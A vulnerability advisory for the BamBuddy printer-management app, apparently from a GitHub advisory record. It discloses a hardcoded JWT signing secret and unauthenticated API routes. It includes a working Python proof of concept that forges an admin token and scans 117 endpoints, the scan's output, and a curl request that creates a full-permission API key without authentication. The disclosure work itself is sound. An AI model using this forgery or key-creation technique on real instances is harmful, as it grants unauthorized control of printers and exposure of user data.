"/notification-templates",
"/notification-templates/variables",
"/notification-templates/1",
],
"updates": [
"/updates/version",
"/updates/check",
"/updates/status",
],
"maintenance": [
"/maintenance/types",
"/maintenance/overview",
"/maintenance/summary",
"/maintenance/printers/1",
"/maintenance/items/1/history",
],
"external_links": [
"/external-links/",
"/external-links/1",
],
"projects": [
"/projects",
"/projects/templates",
"/projects/1",
"/projects/1/archives",
"/projects/1/queue",
"/projects/1/bom",
"/projects/1/timeline",
],
"library": [
"/library/folders",
"/library/folders/by-archive/1",
"/library/folders/by-project/1",
"/library/files",
"/library/stats",
"/library/folders/1",
"/library/files/1",
"/library/files/1/plates",
"/library/files/1/gcode",
"/library/files/1/filament-requirements",
],
"api_keys": [
"/api-keys/",
"/api-keys/1",
],
"webhook": [
"/webhook/printer/1/status",
"/webhook/queue",
],
"ams_history": [
"/ams-history/1/1",
],
"support": [
"/support/debug-logging",
"/support/logs",
],
"discovery": [
"/discovery/info",
"/discovery/status",
"/discovery/printers",
"/discovery/scan/status",
],
"pending_uploads": [
"/pending-uploads/",
"/pending-uploads/count",
"/pending-uploads/1",
],
"firmware": [
"/firmware/updates",
"/firmware/updates/1",
"/firmware/latest",
],
"github_backup": [
"/github-backup/config",
"/github-backup/status",
"/github-backup/logs",
],
"metrics": [
"/metrics",
],
}
def forge_token():
"""Forge a valid JWT token using the hardcoded secret."""
payload = {"sub": "admin", "exp": 9999999999}
return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
def test_endpoint(endpoint, headers):
"""Test a single endpoint and return status."""
try:
resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
except requests.RequestException as e:
return "ERROR", str(e)[:50]
def main():
token = forge_token()
print(f"[*] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT
test_modes = [
("NO AUTH", {}),
("FORGED JWT", {"Authorization": f"Bearer {token}"}),
]
results = {"no_auth": [], "jwt_only": [], "both_fail": []}
print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
print("=" * 70)
for category, endpoints in ENDPOINTS.items():
print(f"\n[{category.upper()}]")
for endpoint in endpoints:
no_auth_status, _ = test_endpoint(endpoint, {})
jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})
if no_auth_status == 200:
results["no_auth"].append(endpoint)
print(f" {endpoint}: NO AUTH REQUIRED")
elif jwt_status == 200:
results["jwt_only"].append(endpoint)
print(f" {endpoint}: JWT WORKS")
else:
results["both_fail"].append((endpoint, no_auth_status, jwt_status))
print(f" {endpoint}: {no_auth_status} / {jwt_status}")
# Summary
print("\n" + "=" * 70)
print("\n[SUMMARY]\n")
print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
for ep in results["no_auth"]:
print(f" - {ep}")
print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
for ep in results["jwt_only"]:
print(f" - {ep}")
print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
for ep, no_auth, jwt_auth in results["both_fail"]:
print(f" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")
if __name__ == "__main__":
main()
Script output
[*] Forged JWT token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA
[*] Testing 117 endpoints against http://10.0.0.4:8000
======================================================================
[SYSTEM]
/system/info: NO AUTH REQUIRED
[AUTH]
/auth/status: NO AUTH REQUIRED
/auth/me: JWT WORKS
[USERS]
/users: JWT WORKS
/users/1: JWT WORKS
/users/1/items-count: JWT WORKS
[GROUPS]
/groups: JWT WORKS
/groups/permissions: JWT WORKS
/groups/1: JWT WORKS
[SETTINGS]
/settings: NO AUTH REQUIRED
/settings/check-ffmpeg: NO AUTH REQUIRED
/settings/spoolman: NO AUTH REQUIRED
/settings/backup: NO AUTH REQUIRED
/settings/virtual-printer/models: NO AUTH REQUIRED
/settings/virtual-printer: NO AUTH REQUIRED
/settings/mqtt/status: NO AUTH REQUIRED
[PRINTERS]
/printers/: JWT WORKS
/printers/usb-cameras: JWT WORKS
/printers/1: JWT WORKS
/printers/1/status: JWT WORKS
/printers/1/current-print-user: JWT WORKS
/printers/1/cover: JWT WORKS
/printers/1/files: JWT WORKS
/printers/1/storage: JWT WORKS
/printers/1/logging: JWT WORKS
/printers/1/slot-presets: JWT WORKS
/printers/1/slot-presets/1/1: JWT WORKS
/printers/1/print/objects: JWT WORKS
/printers/1/runtime-debug: JWT WORKS
/printers/1/camera/status: NO AUTH REQUIRED
/printers/1/camera/test: ERROR / ERROR
/printers/1/camera/plate-detection/status: NO AUTH REQUIRED
/printers/1/camera/plate-detection/references: NO AUTH REQUIRED
/printers/1/kprofiles/: ERROR / ERROR
/printers/1/kprofiles/notes: NO AUTH REQUIRED
[ARCHIVES]
/archives/: NO AUTH REQUIRED
/archives/search: 422 / 422
/archives/compare: 422 / 422
/archives/analysis/failures: NO AUTH REQUIRED
/archives/stats: NO AUTH REQUIRED
/archives/tags: NO AUTH REQUIRED
/archives/1: NO AUTH REQUIRED
/archives/1/similar: NO AUTH REQUIRED
/archives/1/duplicates: NO AUTH REQUIRED
/archives/1/capabilities: NO AUTH REQUIRED
/archives/1/gcode: NO AUTH REQUIRED
/archives/1/plates: NO AUTH REQUIRED
/archives/1/filament-requirements: NO AUTH REQUIRED
/archives/1/project-page: NO AUTH REQUIRED
/archives/1/source: 404 / 404
[FILAMENTS]
/filaments/: NO AUTH REQUIRED
/filaments/1: NO AUTH REQUIRED
/filaments/by-type/pla: NO AUTH REQUIRED
[CLOUD]
/cloud/status: NO AUTH REQUIRED
/cloud/settings: 401 / 401
/cloud/settings/1: 401 / 401
/cloud/devices: 401 / 401
/cloud/firmware-updates: 401 / 401
/cloud/fields: NO AUTH REQUIRED
/cloud/fields/print: NO AUTH REQUIRED
[QUEUE]
/queue/: NO AUTH REQUIRED
/queue/1: 404 / 404
[NOTIFICATIONS]
/notifications/: NO AUTH REQUIRED
/notifications/logs: NO AUTH REQUIRED
/notifications/logs/stats: NO AUTH REQUIRED
/notifications/1: 404 / 404
[NOTIFICATION_TEMPLATES]
/notification-templates: NO AUTH REQUIRED
/notification-templates/variables: NO AUTH REQUIRED
/notification-templates/1: NO AUTH REQUIRED
[UPDATES]
/updates/version: NO AUTH REQUIRED
/updates/check: NO AUTH REQUIRED
/updates/status: NO AUTH REQUIRED
[MAINTENANCE]
/maintenance/types: NO AUTH REQUIRED
/maintenance/overview: NO AUTH REQUIRED
/maintenance/summary: NO AUTH REQUIRED
/maintenance/printers/1: NO AUTH REQUIRED
/maintenance/items/1/history: NO AUTH REQUIRED
[EXTERNAL_LINKS]
/external-links/: NO AUTH REQUIRED
/external-links/1: 404 / 404
[PROJECTS]
/projects: NO AUTH REQUIRED
/projects/templates: NO AUTH REQUIRED
/projects/1: NO AUTH REQUIRED
/projects/1/archives: NO AUTH REQUIRED
/projects/1/queue: NO AUTH REQUIRED
/projects/1/bom: NO AUTH REQUIRED
/projects/1/timeline: NO AUTH REQUIRED
[LIBRARY]
/library/folders: NO AUTH REQUIRED
/library/folders/by-archive/1: NO AUTH REQUIRED
/library/folders/by-project/1: NO AUTH REQUIRED
/library/files: NO AUTH REQUIRED
/library/stats: NO AUTH REQUIRED
/library/folders/1: NO AUTH REQUIRED
/library/files/1: 404 / 404
/library/files/1/plates: 404 / 404
/library/files/1/gcode: 404 / 404
/library/files/1/filament-requirements: 404 / 404
[API_KEYS]
/api-keys/: NO AUTH REQUIRED
/api-keys/1: NO AUTH REQUIRED
[WEBHOOK]
/webhook/printer/1/status: 401 / 401
/webhook/queue: 401 / 401
[AMS_HISTORY]
/ams-history/1/1: NO AUTH REQUIRED
[SUPPORT]
/support/debug-logging: NO AUTH REQUIRED
/support/logs: NO AUTH REQUIRED
[DISCOVERY]
/discovery/info: NO AUTH REQUIRED
/discovery/status: NO AUTH REQUIRED
/discovery/printers: NO AUTH REQUIRED
/discovery/scan/status: NO AUTH REQUIRED
[PENDING_UPLOADS]
/pending-uploads/: NO AUTH REQUIRED
/pending-uploads/count: NO AUTH REQUIRED
/pending-uploads/1: 404 / 404
[FIRMWARE]
/firmware/updates: NO AUTH REQUIRED
/firmware/updates/1: NO AUTH REQUIRED
/firmware/latest: NO AUTH REQUIRED
[GITHUB_BACKUP]
/github-backup/config: NO AUTH REQUIRED
/github-backup/status: NO AUTH REQUIRED
/github-backup/logs: NO AUTH REQUIRED
[METRICS]
/metrics: 401 / 401
======================================================================
[SUMMARY]
Endpoints accessible WITHOUT authentication (77):
- /system/info
- /auth/status
- /settings
- /settings/check-ffmpeg
- /settings/spoolman
- /settings/backup
- /settings/virtual-printer/models
- /settings/virtual-printer
- /settings/mqtt/status
- /printers/1/camera/status
- /printers/1/camera/plate-detection/status
- /printers/1/camera/plate-detection/references
- /printers/1/kprofiles/notes
- /archives/
- /archives/analysis/failures
- /archives/stats
- /archives/tags
- /archives/1
- /archives/1/similar
- /archives/1/duplicates
- /archives/1/capabilities
- /archives/1/gcode
- /archives/1/plates
- /archives/1/filament-requirements
- /archives/1/project-page
- /filaments/
- /filaments/1
- /filaments/by-type/pla
- /cloud/status
- /cloud/fields
- /cloud/fields/print
- /queue/
- /notifications/
- /notifications/logs
- /notifications/logs/stats
- /notification-templates
- /notification-templates/variables
- /notification-templates/1
- /updates/version
- /updates/check
- /updates/status
- /maintenance/types
- /maintenance/overview
- /maintenance/summary
- /maintenance/printers/1
- /maintenance/items/1/history
- /external-links/
- /projects
- /projects/templates
- /projects/1
- /projects/1/archives
- /projects/1/queue
- /projects/1/bom
- /projects/1/timeline
- /library/folders
- /library/folders/by-archive/1
- /library/folders/by-project/1
- /library/files
- /library/stats
- /library/folders/1
- /api-keys/
- /api-keys/1
- /ams-history/1/1
- /support/debug-logging
- /support/logs
- /discovery/info
- /discovery/status
- /discovery/printers
- /discovery/scan/status
- /pending-uploads/
- /pending-uploads/count
- /firmware/updates
- /firmware/updates/1
- /firmware/latest
- /github-backup/config
- /github-backup/status
- /github-backup/logs
Endpoints accessible with FORGED JWT only (20):
- /auth/me
- /users
- /users/1
- /users/1/items-count
- /groups
- /groups/permissions
- /groups/1
- /printers/
- /printers/usb-cameras
- /printers/1
- /printers/1/status
- /printers/1/current-print-user
- /printers/1/cover
- /printers/1/files
- /printers/1/storage
- /printers/1/logging
- /printers/1/slot-presets
- /printers/1/slot-presets/1/1
- /printers/1/print/objects
- /printers/1/runtime-debug
Endpoints that rejected both (20):
- /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
- /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
- /archives/search (no_auth: 422, jwt: 422)
- /archives/compare (no_auth: 422, jwt: 422)
- /archives/1/source (no_auth: 404, jwt: 404)
- /cloud/settings (no_auth: 401, jwt: 401)
- /cloud/settings/1 (no_auth: 401, jwt: 401)
- /cloud/devices (no_auth: 401, jwt: 401)
- /cloud/firmware-updates (no_auth: 401, jwt: 401)
- /queue/1 (no_auth: 404, jwt: 404)
- /notifications/1 (no_auth: 404, jwt: 404)
- /external-links/1 (no_auth: 404, jwt: 404)
- /library/files/1 (no_auth: 404, jwt: 404)
- /library/files/1/plates (no_auth: 404, jwt: 404)
- /library/files/1/gcode (no_auth: 404, jwt: 404)
- /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
- /webhook/printer/1/status (no_auth: 401, jwt: 401)
- /webhook/queue (no_auth: 401, jwt: 401)
- /pending-uploads/1 (no_auth: 404, jwt: 404)
- /metrics (no_auth: 401, jwt: 401)
While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:
curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'
yields
{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}
Impact
BamBuddy is vulnerable to unauthorized access and control
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "bambuddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25505"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T21:21:14Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "CRITICAL"
},
"details": "### Summary\n1. A hardcoded secret key used for signing JWTs is checked into source code\n2. ManyAPI routes do not check authentication\n\n### Details\nI am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`\n#### 1. Hardcoded JWT Secret Key\nhttps://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28\n\n\u003cdetails\u003e\n\u003csummary\u003eCopying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key\u003c/summary\u003e\n\n\u003cimg width=\"1591\" height=\"937\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a\" /\u003e\n\n\u003c/details\u003e\n\nAny attacker can:\n1. Forge valid JWT tokens for any user\n2. Bypass authentication entirely\n3. Gain full administrative access to any Bambuddy instance using the default key\n\n**Steps to Reproduce:**\n\n1. Run an instance of BamBuddy\n2. Create admin user\n3. Forge and use JWT:\n```python\nimport jwt\nimport requests\n\ntoken = jwt.encode({\"sub\": \"admin\", \"exp\": 9999999999}, \"bambuddy-secret-key-change-in-production\", algorithm=\"HS256\")\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={\"Authorization\": f\"Bearer {token}\"})\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### 2. Most API Routes do not check Auth\nWhile investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:\n```python\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={}) # Empty headers\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### Full Script and Output\n\nNote: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.\n\n\u003cdetails\u003e\n\u003csummary\u003eScript to test GET endpoints with forged JWT and without any auth\u003c/summary\u003e\n\n```python3\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)\nFor security research purposes only.\n\nTests all GET endpoints to identify which are accessible without authentication.\n\"\"\"\n\nimport requests\nimport jwt\n\n# Hardcoded secret from backend/app/core/auth.py:28\nHARDCODED_SECRET = \"bambuddy-secret-key-change-in-production\"\nTARGET = \"http://10.0.0.4:8000\"\nAPI_PREFIX = \"/api/v1\"\n\n# All GET endpoints organized by router\nENDPOINTS = {\n \"system\": [\n \"/system/info\",\n ],\n \"auth\": [\n \"/auth/status\",\n \"/auth/me\",\n ],\n \"users\": [\n \"/users\",\n \"/users/1\",\n \"/users/1/items-count\",\n ],\n \"groups\": [\n \"/groups\",\n \"/groups/permissions\",\n \"/groups/1\",\n ],\n \"settings\": [\n \"/settings\",\n \"/settings/check-ffmpeg\",\n \"/settings/spoolman\",\n \"/settings/backup\",\n \"/settings/virtual-printer/models\",\n \"/settings/virtual-printer\",\n \"/settings/mqtt/status\",\n ],\n \"printers\": [\n \"/printers/\",\n \"/printers/usb-cameras\",\n \"/printers/1\",\n \"/printers/1/status\",\n \"/printers/1/current-print-user\",\n \"/printers/1/cover\",\n \"/printers/1/files\",\n \"/printers/1/storage\",\n \"/printers/1/logging\",\n \"/printers/1/slot-presets\",\n \"/printers/1/slot-presets/1/1\",\n \"/printers/1/print/objects\",\n \"/printers/1/runtime-debug\",\n \"/printers/1/camera/status\",\n \"/printers/1/camera/test\",\n \"/printers/1/camera/plate-detection/status\",\n \"/printers/1/camera/plate-detection/references\",\n \"/printers/1/kprofiles/\",\n \"/printers/1/kprofiles/notes\",\n ],\n \"archives\": [\n \"/archives/\",\n \"/archives/search\",\n \"/archives/compare\",\n \"/archives/analysis/failures\",\n \"/archives/stats\",\n \"/archives/tags\",\n \"/archives/1\",\n \"/archives/1/similar\",\n \"/archives/1/duplicates\",\n \"/archives/1/capabilities\",\n \"/archives/1/gcode\",\n \"/archives/1/plates\",\n \"/archives/1/filament-requirements\",\n \"/archives/1/project-page\",\n \"/archives/1/source\",\n ],\n \"filaments\": [\n \"/filaments/\",\n \"/filaments/1\",\n \"/filaments/by-type/pla\",\n ],\n \"cloud\": [\n \"/cloud/status\",\n \"/cloud/settings\",\n \"/cloud/settings/1\",\n \"/cloud/devices\",\n \"/cloud/firmware-updates\",\n \"/cloud/fields\",\n \"/cloud/fields/print\",\n ],\n \"queue\": [\n \"/queue/\",\n \"/queue/1\",\n ],\n \"notifications\": [\n \"/notifications/\",\n \"/notifications/logs\",\n \"/notifications/logs/stats\",\n \"/notifications/1\",\n ],\n \"notification_templates\": [\n \"/notification-templates\",\n \"/notification-templates/variables\",\n \"/notification-templates/1\",\n ],\n \"updates\": [\n \"/updates/version\",\n \"/updates/check\",\n \"/updates/status\",\n ],\n \"maintenance\": [\n \"/maintenance/types\",\n \"/maintenance/overview\",\n \"/maintenance/summary\",\n \"/maintenance/printers/1\",\n \"/maintenance/items/1/history\",\n ],\n \"external_links\": [\n \"/external-links/\",\n \"/external-links/1\",\n ],\n \"projects\": [\n \"/projects\",\n \"/projects/templates\",\n \"/projects/1\",\n \"/projects/1/archives\",\n \"/projects/1/queue\",\n \"/projects/1/bom\",\n \"/projects/1/timeline\",\n ],\n \"library\": [\n \"/library/folders\",\n \"/library/folders/by-archive/1\",\n \"/library/folders/by-project/1\",\n \"/library/files\",\n \"/library/stats\",\n \"/library/folders/1\",\n \"/library/files/1\",\n \"/library/files/1/plates\",\n \"/library/files/1/gcode\",\n \"/library/files/1/filament-requirements\",\n ],\n \"api_keys\": [\n \"/api-keys/\",\n \"/api-keys/1\",\n ],\n \"webhook\": [\n \"/webhook/printer/1/status\",\n \"/webhook/queue\",\n ],\n \"ams_history\": [\n \"/ams-history/1/1\",\n ],\n \"support\": [\n \"/support/debug-logging\",\n \"/support/logs\",\n ],\n \"discovery\": [\n \"/discovery/info\",\n \"/discovery/status\",\n \"/discovery/printers\",\n \"/discovery/scan/status\",\n ],\n \"pending_uploads\": [\n \"/pending-uploads/\",\n \"/pending-uploads/count\",\n \"/pending-uploads/1\",\n ],\n \"firmware\": [\n \"/firmware/updates\",\n \"/firmware/updates/1\",\n \"/firmware/latest\",\n ],\n \"github_backup\": [\n \"/github-backup/config\",\n \"/github-backup/status\",\n \"/github-backup/logs\",\n ],\n \"metrics\": [\n \"/metrics\",\n ],\n}\n\n\ndef forge_token():\n \"\"\"Forge a valid JWT token using the hardcoded secret.\"\"\"\n payload = {\"sub\": \"admin\", \"exp\": 9999999999}\n return jwt.encode(payload, HARDCODED_SECRET, algorithm=\"HS256\")\n\n\ndef test_endpoint(endpoint, headers):\n \"\"\"Test a single endpoint and return status.\"\"\"\n try:\n resp = requests.get(f\"{TARGET}{API_PREFIX}{endpoint}\", headers=headers, timeout=5)\n return resp.status_code, resp.text[:100] if resp.status_code == 200 else None\n except requests.RequestException as e:\n return \"ERROR\", str(e)[:50]\n\n\ndef main():\n token = forge_token()\n print(f\"[*] Forged JWT token:\\n {token}\\n\")\n\n # Test with no auth, then with forged JWT\n test_modes = [\n (\"NO AUTH\", {}),\n (\"FORGED JWT\", {\"Authorization\": f\"Bearer {token}\"}),\n ]\n\n results = {\"no_auth\": [], \"jwt_only\": [], \"both_fail\": []}\n\n print(f\"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\\n\")\n print(\"=\" * 70)\n\n for category, endpoints in ENDPOINTS.items():\n print(f\"\\n[{category.upper()}]\")\n\n for endpoint in endpoints:\n no_auth_status, _ = test_endpoint(endpoint, {})\n jwt_status, preview = test_endpoint(endpoint, {\"Authorization\": f\"Bearer {token}\"})\n\n if no_auth_status == 200:\n results[\"no_auth\"].append(endpoint)\n print(f\" {endpoint}: NO AUTH REQUIRED\")\n elif jwt_status == 200:\n results[\"jwt_only\"].append(endpoint)\n print(f\" {endpoint}: JWT WORKS\")\n else:\n results[\"both_fail\"].append((endpoint, no_auth_status, jwt_status))\n print(f\" {endpoint}: {no_auth_status} / {jwt_status}\")\n\n # Summary\n print(\"\\n\" + \"=\" * 70)\n print(\"\\n[SUMMARY]\\n\")\n\n print(f\"Endpoints accessible WITHOUT authentication ({len(results[\u0027no_auth\u0027])}):\")\n for ep in results[\"no_auth\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints accessible with FORGED JWT only ({len(results[\u0027jwt_only\u0027])}):\")\n for ep in results[\"jwt_only\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints that rejected both ({len(results[\u0027both_fail\u0027])}):\")\n for ep, no_auth, jwt_auth in results[\"both_fail\"]:\n print(f\" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eScript output\u003c/summary\u003e\n\n```\n[*] Forged JWT token:\n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA\n\n[*] Testing 117 endpoints against http://10.0.0.4:8000\n\n======================================================================\n\n[SYSTEM]\n /system/info: NO AUTH REQUIRED\n\n[AUTH]\n /auth/status: NO AUTH REQUIRED\n /auth/me: JWT WORKS\n\n[USERS]\n /users: JWT WORKS\n /users/1: JWT WORKS\n /users/1/items-count: JWT WORKS\n\n[GROUPS]\n /groups: JWT WORKS\n /groups/permissions: JWT WORKS\n /groups/1: JWT WORKS\n\n[SETTINGS]\n /settings: NO AUTH REQUIRED\n /settings/check-ffmpeg: NO AUTH REQUIRED\n /settings/spoolman: NO AUTH REQUIRED\n /settings/backup: NO AUTH REQUIRED\n /settings/virtual-printer/models: NO AUTH REQUIRED\n /settings/virtual-printer: NO AUTH REQUIRED\n /settings/mqtt/status: NO AUTH REQUIRED\n\n[PRINTERS]\n /printers/: JWT WORKS\n /printers/usb-cameras: JWT WORKS\n /printers/1: JWT WORKS\n /printers/1/status: JWT WORKS\n /printers/1/current-print-user: JWT WORKS\n /printers/1/cover: JWT WORKS\n /printers/1/files: JWT WORKS\n /printers/1/storage: JWT WORKS\n /printers/1/logging: JWT WORKS\n /printers/1/slot-presets: JWT WORKS\n /printers/1/slot-presets/1/1: JWT WORKS\n /printers/1/print/objects: JWT WORKS\n /printers/1/runtime-debug: JWT WORKS\n /printers/1/camera/status: NO AUTH REQUIRED\n /printers/1/camera/test: ERROR / ERROR\n /printers/1/camera/plate-detection/status: NO AUTH REQUIRED\n /printers/1/camera/plate-detection/references: NO AUTH REQUIRED\n /printers/1/kprofiles/: ERROR / ERROR\n /printers/1/kprofiles/notes: NO AUTH REQUIRED\n\n[ARCHIVES]\n /archives/: NO AUTH REQUIRED\n /archives/search: 422 / 422\n /archives/compare: 422 / 422\n /archives/analysis/failures: NO AUTH REQUIRED\n /archives/stats: NO AUTH REQUIRED\n /archives/tags: NO AUTH REQUIRED\n /archives/1: NO AUTH REQUIRED\n /archives/1/similar: NO AUTH REQUIRED\n /archives/1/duplicates: NO AUTH REQUIRED\n /archives/1/capabilities: NO AUTH REQUIRED\n /archives/1/gcode: NO AUTH REQUIRED\n /archives/1/plates: NO AUTH REQUIRED\n /archives/1/filament-requirements: NO AUTH REQUIRED\n /archives/1/project-page: NO AUTH REQUIRED\n /archives/1/source: 404 / 404\n\n[FILAMENTS]\n /filaments/: NO AUTH REQUIRED\n /filaments/1: NO AUTH REQUIRED\n /filaments/by-type/pla: NO AUTH REQUIRED\n\n[CLOUD]\n /cloud/status: NO AUTH REQUIRED\n /cloud/settings: 401 / 401\n /cloud/settings/1: 401 / 401\n /cloud/devices: 401 / 401\n /cloud/firmware-updates: 401 / 401\n /cloud/fields: NO AUTH REQUIRED\n /cloud/fields/print: NO AUTH REQUIRED\n\n[QUEUE]\n /queue/: NO AUTH REQUIRED\n /queue/1: 404 / 404\n\n[NOTIFICATIONS]\n /notifications/: NO AUTH REQUIRED\n /notifications/logs: NO AUTH REQUIRED\n /notifications/logs/stats: NO AUTH REQUIRED\n /notifications/1: 404 / 404\n\n[NOTIFICATION_TEMPLATES]\n /notification-templates: NO AUTH REQUIRED\n /notification-templates/variables: NO AUTH REQUIRED\n /notification-templates/1: NO AUTH REQUIRED\n\n[UPDATES]\n /updates/version: NO AUTH REQUIRED\n /updates/check: NO AUTH REQUIRED\n /updates/status: NO AUTH REQUIRED\n\n[MAINTENANCE]\n /maintenance/types: NO AUTH REQUIRED\n /maintenance/overview: NO AUTH REQUIRED\n /maintenance/summary: NO AUTH REQUIRED\n /maintenance/printers/1: NO AUTH REQUIRED\n /maintenance/items/1/history: NO AUTH REQUIRED\n\n[EXTERNAL_LINKS]\n /external-links/: NO AUTH REQUIRED\n /external-links/1: 404 / 404\n\n[PROJECTS]\n /projects: NO AUTH REQUIRED\n /projects/templates: NO AUTH REQUIRED\n /projects/1: NO AUTH REQUIRED\n /projects/1/archives: NO AUTH REQUIRED\n /projects/1/queue: NO AUTH REQUIRED\n /projects/1/bom: NO AUTH REQUIRED\n /projects/1/timeline: NO AUTH REQUIRED\n\n[LIBRARY]\n /library/folders: NO AUTH REQUIRED\n /library/folders/by-archive/1: NO AUTH REQUIRED\n /library/folders/by-project/1: NO AUTH REQUIRED\n /library/files: NO AUTH REQUIRED\n /library/stats: NO AUTH REQUIRED\n /library/folders/1: NO AUTH REQUIRED\n /library/files/1: 404 / 404\n /library/files/1/plates: 404 / 404\n /library/files/1/gcode: 404 / 404\n /library/files/1/filament-requirements: 404 / 404\n\n[API_KEYS]\n /api-keys/: NO AUTH REQUIRED\n /api-keys/1: NO AUTH REQUIRED\n\n[WEBHOOK]\n /webhook/printer/1/status: 401 / 401\n /webhook/queue: 401 / 401\n\n[AMS_HISTORY]\n /ams-history/1/1: NO AUTH REQUIRED\n\n[SUPPORT]\n /support/debug-logging: NO AUTH REQUIRED\n /support/logs: NO AUTH REQUIRED\n\n[DISCOVERY]\n /discovery/info: NO AUTH REQUIRED\n /discovery/status: NO AUTH REQUIRED\n /discovery/printers: NO AUTH REQUIRED\n /discovery/scan/status: NO AUTH REQUIRED\n\n[PENDING_UPLOADS]\n /pending-uploads/: NO AUTH REQUIRED\n /pending-uploads/count: NO AUTH REQUIRED\n /pending-uploads/1: 404 / 404\n\n[FIRMWARE]\n /firmware/updates: NO AUTH REQUIRED\n /firmware/updates/1: NO AUTH REQUIRED\n /firmware/latest: NO AUTH REQUIRED\n\n[GITHUB_BACKUP]\n /github-backup/config: NO AUTH REQUIRED\n /github-backup/status: NO AUTH REQUIRED\n /github-backup/logs: NO AUTH REQUIRED\n\n[METRICS]\n /metrics: 401 / 401\n\n======================================================================\n\n[SUMMARY]\n\nEndpoints accessible WITHOUT authentication (77):\n - /system/info\n - /auth/status\n - /settings\n - /settings/check-ffmpeg\n - /settings/spoolman\n - /settings/backup\n - /settings/virtual-printer/models\n - /settings/virtual-printer\n - /settings/mqtt/status\n - /printers/1/camera/status\n - /printers/1/camera/plate-detection/status\n - /printers/1/camera/plate-detection/references\n - /printers/1/kprofiles/notes\n - /archives/\n - /archives/analysis/failures\n - /archives/stats\n - /archives/tags\n - /archives/1\n - /archives/1/similar\n - /archives/1/duplicates\n - /archives/1/capabilities\n - /archives/1/gcode\n - /archives/1/plates\n - /archives/1/filament-requirements\n - /archives/1/project-page\n - /filaments/\n - /filaments/1\n - /filaments/by-type/pla\n - /cloud/status\n - /cloud/fields\n - /cloud/fields/print\n - /queue/\n - /notifications/\n - /notifications/logs\n - /notifications/logs/stats\n - /notification-templates\n - /notification-templates/variables\n - /notification-templates/1\n - /updates/version\n - /updates/check\n - /updates/status\n - /maintenance/types\n - /maintenance/overview\n - /maintenance/summary\n - /maintenance/printers/1\n - /maintenance/items/1/history\n - /external-links/\n - /projects\n - /projects/templates\n - /projects/1\n - /projects/1/archives\n - /projects/1/queue\n - /projects/1/bom\n - /projects/1/timeline\n - /library/folders\n - /library/folders/by-archive/1\n - /library/folders/by-project/1\n - /library/files\n - /library/stats\n - /library/folders/1\n - /api-keys/\n - /api-keys/1\n - /ams-history/1/1\n - /support/debug-logging\n - /support/logs\n - /discovery/info\n - /discovery/status\n - /discovery/printers\n - /discovery/scan/status\n - /pending-uploads/\n - /pending-uploads/count\n - /firmware/updates\n - /firmware/updates/1\n - /firmware/latest\n - /github-backup/config\n - /github-backup/status\n - /github-backup/logs\n\nEndpoints accessible with FORGED JWT only (20):\n - /auth/me\n - /users\n - /users/1\n - 